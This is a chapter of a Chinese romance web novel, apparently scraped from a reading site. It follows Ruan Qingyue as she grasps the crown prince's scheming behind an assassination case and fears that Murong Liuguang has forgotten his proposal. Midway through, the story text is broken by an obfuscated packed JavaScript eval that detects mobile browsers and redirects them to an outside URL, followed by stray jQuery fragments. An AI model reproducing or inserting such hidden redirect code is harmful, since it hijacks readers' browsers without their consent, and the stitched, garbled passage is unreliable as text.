30. 忘记求婚

作品:《回京后白月光她失宠了

    阮清月并没有把太多的精力放到老夫人身上。


    她觉得按照老夫人往常对她的疼爱,只要她稍加表现,老夫人同意她和慕统领之间的事,不过是早晚的问题。


    她关注的是父亲的态度。


    等阮父终于能从礼部脱身回来时,她命人立刻送来了洗漱的热水,和准备妥当的膳食。


    阮父心中熨帖,看到阮清月随侍在一侧,又见她面色憔悴,关心道:“清月,是不是昨夜没有休息好?”


    阮清月解释道:“女儿担心父亲。”


    阮父道:“此事已经查到水落石出,太子也下了定论,交到陛下书案上了。”


    他说着,叹口气,又想着后宅家眷交际,也是为官重要的一环,便和阮清月开始讲起此案:“是炎甾瞒着炎呼吉,私自联合北戎老臣,想要刺杀陛下报仇。他们收买鸿胪寺驿馆的人,带了凶器入宫。”


    听父亲说起刺杀案的定论,阮清月端着茶盏的手微微一顿,眼底掠过一丝疑虑。


    她觉得事情没那么简单。


    “炎甾瞒着炎呼吉行事?”


    她轻声反问,语气里带着不易察觉的探究,“可女儿记得,宫宴上炎甾看炎呼吉的眼神,不像是主谋对帮凶的狠厉,反倒像...被算计后的痛楚。”


    阮父喝了口茶,目光沉了沉,放下茶盏时,指节轻轻敲了敲桌面,“你看得倒仔细。可太子已经定了论,说炎甾是为报北戎旧怨,私自勾结乱党,炎呼吉毫不知情。连陛下都点了头,为父就算有疑虑,也只能称赞一句太子英明。”


    他叹了口气,声音压得更低,“这案子里的猫腻,明眼人都能看出几分。炎甾一个北戎使团首领,在大魏皇宫里哪来这么大的胆子?还能收买鸿胪寺的人带凶器入宫。若说背后没人推波助澜,根本不可能。”


    阮清月的心猛地一沉,顺着父亲的话往下想,脑海里突然闪过太子在携春殿上漫不经心的模样,还有他对炎甾自尽时的淡然。


    她嘴唇动了动,无声地吐出“太子”两个字,眼神里满是震惊。


    阮父没有否认。


    “目前已经是最好的结局,日后你外出交际,也不要再提起此事。尤其是事关齐凛,等清廷过两日训练回来,你多叮嘱他两句,他如今和齐盛成了师兄弟,齐凛被打压,齐盛心里肯定不适。如果在清廷面前抱怨,也让他少说话。”


    日前沈大将军奉命去了外地指导军演,机会难得,他便把阮清廷和齐盛全都带了去。


    阮清月点点头,心里却掀起了惊涛骇浪。


    她终于明白,携春殿的刺杀根本不是北戎的复仇,而是太子的一场权谋棋局。炎甾是棋子,齐凛被打压是警告,连慕流光的救驾,或许都在太子的算计之中。


    齐凛是齐首辅的孙子,太子打压齐凛,无疑是在给齐首辅敲警钟。


    一朝天子一朝臣,首辅的权势太大,太子已经在为自己的未来铺路了。说不定就连陛下都有这个想法,不然英明如他,会看不出这场刺杀背后暗藏的秘密。


    “父亲,那齐首辅那边...”她想起父亲提起的齐盛,忍不住问道。


    “齐首辅是老狐狸,自然明白其中的门道。”


    阮父语气平淡,“他不会明着和太子对着干,只会暂时收敛锋芒。你务必要叮嘱清廷,别卷进这浑水里。”


    “是,女儿知道。”她想了想,说道:“那慕统领呢,他是不是已经卷了进去?”


    “慕流光有救驾之功,陛下信任他,这是他的底气。但内廷确实复杂,太子如果真的用了他,也会防他。日后怎么样,就看他能不能守住本心,能不能在里面站稳脚跟了。”


    他顿了顿,补充道,“不过这也是他的造化,一等侍卫离陛下近,离权力中心近,若是能把握好机会,前途不可限量。”


    话虽如此,阮清月心里有直觉,慕流光以后的仕途肯定不止于一等侍卫。


    昨夜满脑子都是刺杀案的暗流、还有慕流光昏沉中那句我想娶你,阮清月翻来覆去几乎没合眼。此刻父亲平安归来,她刻意压下去的困意如潮水般涌上来,阮清月忍不住抬手用广袖挡着,轻轻打了个哈欠,眼底的乌青在白皙脸颊上格外明显。


    连她自己都能感觉到,此刻的精神头差得厉害。


    阮父眼角的余光瞥见她这副模样,语气带着几分难得的温和:“今日无事,你回月华堂歇着吧。”


    阮清月也有此意,她刚要应声,外头的管家就快步走了进来,躬身回话:“老爷,大小姐,沈惊鸿沈小姐来了,说一早跟大小姐约好,今日要去绸缎庄取定做的衣服。”


    “是沈小姐啊,”


    阮父的语气瞬间变了,方才那点对女儿的心疼,像是被风吹散般无影无踪,取而代之的是几分清晰的权衡。


    阮清月看着父亲停顿下来的话,心间微凉。


    她太了解父亲了,他定是想起了阮清廷还在沈大将军麾下学艺,沈惊鸿是沈家独女,维系好这份关系,对清廷的前程、对阮家的人脉都百利而无一害。


    她没有‘听话又聪慧’地主动接下父亲未说完的话,而是等父亲亲自把话说出来。


    见阮清月没反应,阮父顿了顿,绝口不提她的疲惫,只道:“既如此,那清月你便陪沈小姐走一趟吧,女孩子家一起逛逛也好。”


    阮清月垂下眼,掩去眸底的失落。她面上依旧恭顺地应着:“好。父亲,那女儿就先去了。”


    “好,”阮父立刻点头,语气里多了几分叮嘱,“去账房支些银子,别委屈了自己,也别慢待了沈小姐,跟她好好逛逛。”


    仿佛方才那个担心她熬坏身体的人,根本不是他。


    阮清月没再多说,转身回房换了身月白色的外出衣裙。


    府门口,沈惊鸿正靠在朱红柱子上,墨色腰带在手里甩得翻飞,脑袋仰着看天上的云,一副百无聊赖的模样。


    听到开门声,她立刻直起身,脚步轻快地跳上台阶,语气里满是活力:“清月!”


    阮清月扯了扯嘴角,径直向前走,轻声道:“走吧。”


    “哎?你怎么知道我们要去哪里?”沈惊鸿挑了挑眉。


    阮清月道:“不是要去绸缎庄取衣服?”


    这真是搬起石头砸自己的脚。沈惊鸿原本想取笑阮清月的,现在却被她将了一军。沈惊鸿心虚地笑笑,“我这不是编个理由叫你出来嘛,如果不这么说,你父亲怎么可能放人。”


    阮清月瞥了她一眼,语气带着点无奈,“走吧。”


    沈惊鸿嘻嘻一笑,拍了拍她的肩膀:“方才于衡派人给我送了信,说慕兄醒了,就是脑子好像有点糊涂,说自己昨天昏迷的时候,忘了件挺重要的事,想了半天也没想起来。”


    “忘了重要的事?”


    阮清月的心猛地一沉,连呼吸都慢了半拍。她几乎是立刻就想到了慕流光昏沉中那句“我想娶你”,还有自己那句没等到回应的“我愿意”。


    难道他真的忘了?


    那自己昨夜的辗转反侧,今早在祖母和父亲面前的小心翼翼,岂不成了一场笑话。


    沈惊鸿没注意到她的异样,还在自顾自地调侃:“你说他能忘什么?总不能是救了陛下之后,忘了跟陛下讨赏吧。”


    阮清月却笑不出来,心里像被什么东西堵着,闷闷的。


    她努力压下心头的酸涩。或许,那句告白本就是他昏沉中的胡话,当不得真。


    她悄悄告诉自己,若是他真的忘了,那自己也装作什么都没发生过好了,至少还能维持着朋友的体面,不至于太难堪。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710897|187351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “许是伤口疼得厉害,脑子还没彻底清醒。等我们去了,说不定他就想起来了。”她轻声说,语气尽量显得平静。


    “也是!”沈惊鸿点点头,拉着她往马车的方向走。


    马车一路向前行,沈惊鸿还在耳边喋喋不休,从禁军新换的甲胄样式,说到京中酒楼新出的菜品,再到猜测陛下赏的宅院有没有花园,半刻钟里没停过。


    阮清月心里忍不住腹诽,先前听人说沈小将军冷傲寡言,如今看来,全是谣言。这絮叨的模样,倒比后宅说闲话的夫人还要热闹几分。


    好在马车很快停了下来,车夫的声音透过车帘传过来:“小姐,阮小姐,慕府到了。”


    阮清月迟疑地看向沈惊鸿。


    距离不对。


    昨日去慕流光的小院,马车走了近两刻钟,今日从阮府出发,不过一刻钟就到了。


    沈惊鸿抬手掀开车帘,跳了下去,回身看她一动不动,挥手叫道:“清月,下来啊。”


    阮清月弯腰从马车里走出来,眼前朱红大门上的红灯笼轻轻晃动,流苏未拆,门头上连牌匾都没有,显然是刚搬进来的新地方。她疑惑地道:“这里?”


    沈惊鸿这才看出她的不解,解释说:“陛下御赐了宅院,于衡说慕兄已经搬过来了。”


    阮清月跟着她走进院子,院子角落堆着未拆的木箱,旁边有一棵光秃秃的石榴树,枝桠伸向灰蒙蒙的天。


    她问道:“这么着急?今天就搬过来了?”


    “那可不是,皇恩浩荡,我等感激,谢主隆恩嘛。”


    沈惊鸿无谓地道,以为她挂念慕流光的伤,又解释说:“有一夜的休息已经很好了,以前我们在边关打仗,就算是断条腿,大军说撤退转移就立刻得走,哪还有休息的时间。”


    阮清月将信将疑地和她一起往里走。


    她心里又急又乱,既盼着见到慕流光,又怕听到他说什么都不记得。


    刚绕过石榴树,两人就见到了人。慕流光穿着月白色常服,左肩微微倾斜,显然伤口还疼,却已能慢慢走动。


    沈惊鸿立刻迎上去:“慕兄!我就说你身体硬朗,这点小伤哪能困得住你!”


    慕流光却没接话,目光越过沈惊鸿,直直落在阮清月身上。


    看到阮清月的瞬间,他眼底闪过一丝慌乱,随即又被客气的笑容盖住:“阮小姐来了,请坐。于衡刚煮了茶,我让人端来。”


    阮清月的心猛地一沉,这般反应,看来沈惊鸿的话应该是真的。


    “多谢慕统领。叨扰你养伤,实在过意不去。”


    阮清月垂下眼,掩去眸底的失落。


    慕流光没再说话,只是转身朝屋里喊于衡,脚步却放得很慢,左肩的动作格外僵硬,像是故意放慢速度,避开与她对视。


    阮清月看着他的背影,心里的失落更甚,他如此,定是忘了昨日的求娶之话。她想起自己那句没等到回应的我愿意,想起今早在父亲和祖母面前小心翼翼的试探,只觉得异常酸涩。


    于衡端来茶时,慕流光接过茶杯,递向阮清月的动作却顿了顿,目光落在她的指尖上。那是昨日她递粽子糖时,他见过的纤细手指,此刻却攥着裙摆,透着几分局促。


    他喉结动了动,想说些什么,最终却只道:“茶还热,阮小姐慢用。”


    阮清月接过茶杯,指尖触到温热的杯壁,却暖不了心底的凉。


    她看着慕流光避开的目光,低头轻轻抿了口茶,压下失落,心里告诉自己,忘了也好,至少她不用再纠结如何面对,不用再担心给家族带来麻烦。


    离经叛道,违背长辈,到底是不对的。


    只是那点遗憾,像沾在指尖的晨露,凉丝丝的,就算擦掉了,那股凉意却永远地留在了指尖上。